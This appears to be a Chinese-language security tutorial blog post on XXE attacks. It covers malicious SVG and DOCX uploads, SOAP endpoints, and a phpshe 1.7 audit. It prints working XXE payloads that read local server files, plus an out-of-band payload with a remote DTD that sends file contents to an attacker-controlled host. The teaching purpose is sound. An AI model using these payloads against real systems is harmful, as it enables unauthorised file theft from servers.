【Web攻防-19】XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能

黑盒功能点案例

黑盒 –> 数据包、功能点

漏洞发现关键核心(大概率存在)

条件:1.能上传;2.部分格式允许上传(如.svg,支持带入xml);3.会对内容进行渲染、预览功能(重要,与SSRF相似)

不管是上传还是文件操作,xxe影响的文件的格式后缀要知道有哪几种:xml、svg、docx,还有各种能读取解析渲染xml代码的操作

不安全的图像读取-SVG

创建一个包含文件读取操作的svg文件

<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///d:/x.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="20" y="20">&xxe;</text>
</svg>

不安全的文档转换-DOCX

用压缩软件打开docx文档,可以看到由很多xml组成。

重要文件:/word/document.xml – 存储有这个文档的内容信息

如果文档转换,必会读取解析这个文件,并且利用转换前后内容不会改变的特性,可以尝试插入攻击xml代码

将document.xml修改为如下内容:读取d:/d.txt

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "file:///d:/d.txt">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
  <w:p>
    <w:r>
      <w:t>Hosts 文件内容:&xxe;</w:t>
    </w:r>
  </w:p>
</w:body>
</w:document>

可以看到网站在做文档转换时,读取解析了其中的恶意xml语句,造成了xxe

不安全的传递服务-SOAP、REST、RPC — API攻防

soap传递数据使用xml语法,在数据包中插入恶意xml语句触发xxe

数据包中有以下关键信息

soap:Envelope
​
fofa语法:
body="soap:Envelope"

白盒函数点案例

phpshe1.7的xxe漏洞

https://lmboke.com/archives/xxelou-dong-hei-bai-he-ce-shi-wu-hui-xian#%E6%A1%88%E4%BE%8B%EF%BC%9Axxe%E6%BC%8F%E6%B4%9E-phpshe1.7%E6%BA%90%E7%A0%81%EF%BC%88%E6%97%A0%E5%9B%9E%E6%98%BE%E5%AE%A1%E8%AE%A1%EF%BC%89

函数逻辑

1、漏洞函数simplexml_load_string

2、pe_getxml函数调用了漏洞函数

3、wechat_getxml调用了pe_getxml

4、notify_url调用了wechat_getxml

访问notify_url文件触发wechat_getxml函数,构造Paylod测试

利用

先尝试读取文件,无回显后带外测试:

<?xml version="1.0" ?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "http://x.dnslog.cn">
  %file;
]>
<root>&send;</root>

然后带外传递数据解决无回显:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://x.x.x.x/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>">

get.php做接收


复盘

重点:服务器对xml的解析执行

优先使用dnslog进行测试,防止无回显


本节知识点

WEB攻防-XML&XXE-黑盒功能点挖掘

WEB攻防-XML&XXE-白盒函数点挖掘

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇